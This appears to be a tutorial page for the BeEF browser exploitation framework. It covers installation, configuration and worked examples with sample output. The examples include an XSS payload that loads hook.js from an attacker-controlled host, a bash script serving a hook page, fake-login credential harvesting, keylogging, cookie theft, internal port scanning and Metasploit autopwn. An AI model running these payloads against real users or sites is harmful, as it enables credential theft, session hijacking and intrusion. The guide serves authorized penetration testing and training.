1. Tool Introduction
BeEF (Browser Exploitation Framework) is a penetration testing tool that focuses specifically on the web browser as an attack surface. Unlike frameworks that target network services or operating systems, BeEF “hooks” one or more web browsers by injecting a small JavaScript file (hook.js) and uses them as beachheads for launching further client-side attacks, running browser-context modules, and demonstrating real-world impact of Cross-Site Scripting (XSS) and social-engineering vulnerabilities. Once hooked, a browser reports back to the BeEF control panel and can be commanded to run modules for reconnaissance (browser/OS/plugin fingerprinting), social engineering (fake login prompts), network discovery (internal port scans via the victim’s browser), and persistence.
BeEF is commonly used to demonstrate the real impact of a discovered XSS vulnerability during a web application penetration test, moving beyond a simple alert(1) proof-of-concept.
2. How to Install
# Preinstalled on Kali under /usr/share/beef-xss, but to install/reinstall:
sudo apt update
sudo apt install beef-xss -y
# First run — this will prompt you to set the admin panel password
sudo beef-xss
Manual installation from source (for latest version):
sudo apt install ruby ruby-dev libsqlite3-dev build-essential -y
git clone https://github.com/beefproject/beef.git /opt/beef
cd /opt/beef
./install
3. Syntax
beef-xss [options]
BeEF is primarily configured via its config.yaml file located at /etc/beef-xss/config.yaml (Kali) or <beef_dir>/config.yaml (source install), and is then operated through its web-based control panel.
4. Command-Line Options (Kali Linux)
The beef-xss wrapper script itself takes minimal CLI flags; most configuration is done in config.yaml and extensions/*/config.yaml:
| Option/Setting | Location | Description |
|---|---|---|
-h | CLI | Show help for the beef-xss wrapper |
beef.http.host | config.yaml | Interface BeEF binds to (default 127.0.0.1) |
beef.http.port | config.yaml | Port for the hook/UI server (default 3000) |
beef.credentials.user | config.yaml | Admin panel username |
beef.credentials.passwd | config.yaml | Admin panel password |
beef.http.web_ui_basepath | config.yaml | URL path for admin panel (default /ui/panel) |
beef.extension.*.enable | config.yaml | Enable/disable extensions (social_engineering, metasploit, requester, etc.) |
beef.extension.metasploit.host/port | extensions/metasploit/config.yaml | Connect BeEF to an msfrpcd instance |
beef.restrictions.permitted_hooking_subnet | config.yaml | Restrict which subnets may be hooked |
beef.restrictions.permitted_ui_subnet | config.yaml | Restrict which subnets may access the UI |
Common in-panel actions (via the web UI, not literal CLI flags):
| Panel Section | Description |
|---|---|
| Hooked Browsers | Tree of online/offline hooked browsers |
| Details | Browser, OS, plugin, and component fingerprint of a hooked browser |
| Logs | Command history/results for a hooked browser |
| Commands | Categorized modules (Browser, Host, Network, Social Engineering, etc.) to run against a hook |
| Rider | HTTP request forger executed from within the hooked browser’s session |
| XssRays | Automated XSS scanner launched from a hooked browser |
5. Basic Usage (Expected Output in Bash)
$ sudo beef-xss
[sudo] password for kali:
[*] Please wait as BeEF is loading...
[*] 1197 extension enabled: doc_domain_check
[*] 1197 extension enabled: metasploit
[*] 1197 extension enabled: requester
[*] 1197 extension enabled: social_engineering
[*] Bind socket [imapd] listening on [0.0.0.0:2000].
[*] Bind socket [beef] listening on [0.0.0.0:3000].
[*] HTTP Proxy: http://127.0.0.1:6789
[*] RESTful API key: a1b2c3d4e5f67890
[*] Web UI: http://127.0.0.1:3000/ui/panel
[*] Hook: <script src="https://<IP>:3000/hook.js"></script>
[*] Example: http://<IP>:3000/demos/basic.html
[*] BeEF is ready! Have fun!
6. Practical Examples with Output
Example 1 – Injecting the hook via a reflected XSS PoC
# Vulnerable parameter found during web app testing:
curl "http://target.local/search?q=<script src=http://10.10.10.100:3000/hook.js></script>"
Result: the victim’s browser silently loads hook.js and appears in the BeEF panel’s “Online Browsers” tree.
Example 2 – Confirming a hooked browser via panel log
[*] 10.10.10.55 just hooked -> Chrome 124 / Windows 10
Example 3 – Fingerprinting a hooked browser (from BeEF’s own console log)
[*] Session: browser_id=3
[*] Browser: Chrome 124.0.0
[*] OS: Windows 10 (64-bit)
[*] Plugins detected: PDF Viewer, Widevine Content Decryption Module
Example 4 – Running a Social Engineering module (Pretty Theft) Selecting the “Pretty Theft” module in the Commands tab and clicking Execute produces a fake login overlay on the victim’s current page, and a captured-credentials event in the panel logs:
[*] Module 'Pretty Theft' executed against browser_id=3
[+] Captured: username=corp\jdoe password=Summer2024!
Example 5 – Internal network port scan via hooked browser (Ping Sweep module)
[*] Module 'Ping Sweep' executed against browser_id=3, range 192.168.1.0/24
[+] Host up: 192.168.1.1 (34ms)
[+] Host up: 192.168.1.20 (12ms)
Example 6 – Integrating BeEF with Metasploit’s browser_autopwn2
msf6 > use auxiliary/server/browser_autopwn2
msf6 auxiliary(server/browser_autopwn2) > set LHOST 10.10.10.100
msf6 auxiliary(server/browser_autopwn2) > run
[*] Auxiliary module running as background job
[*] Starting exploit modules on host 10.10.10.100...
Example 7 – Keylogging a hooked tab
[*] Module 'Get Keys' started on browser_id=3
[+] Keystroke buffer: "please stop l"
Example 8 – Retrieving browser cookies (with consent/authorization in scope)
[*] Module 'Get Cookie' executed against browser_id=3
[+] Cookie: session_id=eyJhbGciOiJI...; path=/; domain=target.local
Example 9 – Persisting the hook across page navigation
[*] Module 'Man-In-The-Browser' enabled on browser_id=3
[*] Hook persisted across 4 subsequent page loads
Example 10 – Checking the RESTful API for hooked browser count
curl -s "http://127.0.0.1:3000/api/hooks?token=a1b2c3d4e5f67890" | python3 -m json.tool
{
"hooked-browsers": {
"online": {
"192.168.1.55": [ { "session": "3", "browser": "Chrome" } ]
}
}
}
7. Common Use Cases
- Demonstrating real-world impact of an XSS finding to a client beyond a simple JavaScript
alert()popup. - Social engineering assessments simulating credential-harvesting overlays injected via a hooked page.
- Internal network reconnaissance performed indirectly through a victim’s browser (bypassing external firewall restrictions).
- Red team exercises combining phishing landing pages with the BeEF hook for post-click browser control.
- Teaching/demonstrating browser security concepts (same-origin policy, cookie theft, clickjacking) in training labs.
8. Automation with Bash
#!/bin/bash
# start_beef_and_serve_hook.sh - Launch BeEF and serve a simple hook-injecting HTML page
BEEF_IP="10.10.10.100"
BEEF_PORT=3000
WWW_DIR="/var/www/html/demo"
sudo systemctl start postgresql 2>/dev/null
echo "[*] Starting BeEF..."
sudo beef-xss &
sleep 8
mkdir -p "$WWW_DIR"
cat > "$WWW_DIR/index.html" <<EOF
<html><body>
<h1>Loading...</h1>
<script src="https://${BEEF_IP}:${BEEF_PORT}/hook.js"></script>
</body></html>
EOF
echo "[*] Serving hook page on port 8080"
cd "$WWW_DIR" && python3 -m http.server 8080
#!/bin/bash
# beef_api_status.sh - Poll BeEF's REST API for hooked browser count every 30s
TOKEN="a1b2c3d4e5f67890"
BEEF_URL="http://127.0.0.1:3000"
while true; do
count=$(curl -s "$BEEF_URL/api/hooks?token=$TOKEN" | jq '.["hooked-browsers"].online | length')
echo "$(date): $count browser(s) currently hooked"
sleep 30
done
9. Tips and Best Practices
- Change the default admin credentials in
config.yamlimmediately — the defaultbeef:beefis publicly known. - Restrict
permitted_ui_subnetandpermitted_hooking_subnetto your test network to prevent stray hooks or unauthorized panel access. - Serve the hook over HTTPS where possible to avoid mixed-content blocking on modern browsers.
- Combine BeEF findings with your XSS report to clearly show business impact (session hijacking, internal recon, credential theft) rather than relying on the hook alone.
- Keep hook persistence modules and social-engineering overlays strictly scoped to what’s authorized in your rules of engagement — informed consent and scope boundaries matter especially for anything involving credential capture.
- Regularly update BeEF (
git pullif running from source) since browser vendors frequently patch techniques BeEF modules rely on.
10. Troubleshooting
| Problem | Cause | Solution |
|---|---|---|
| Panel login fails | Wrong/default credentials or DB corruption | Check config.yaml; delete db/beef.db to reset (source installs) |
| Hook doesn’t appear online | Victim navigated away, ad-blocker/CSP blocked hook.js, or wrong IP | Verify beef.http.host/public IP reachability; check target’s CSP headers |
| “Address already in use” on port 3000 | Another process bound to the port | sudo lsof -i :3000 then kill the conflicting process, or change beef.http.port |
| Metasploit extension fails to connect | msfrpcd not running or wrong host/port in extension config | Start msfrpcd -P <pass> -S and update extensions/metasploit/config.yaml |
| Modules return “Module Result: Failed” | Browser blocked the technique (modern browser security update) | Try an alternate module or accept the limitation and document it |
11. References
- Official project site: https://beefproject.com
- GitHub repository: https://github.com/beefproject/beef
- Kali Linux tool page: https://www.kali.org/tools/beef-xss/
- BeEF wiki/documentation: https://github.com/beefproject/beef/wiki